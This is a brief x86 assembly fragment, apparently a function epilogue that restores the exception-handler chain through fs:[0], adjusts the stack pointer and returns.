pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14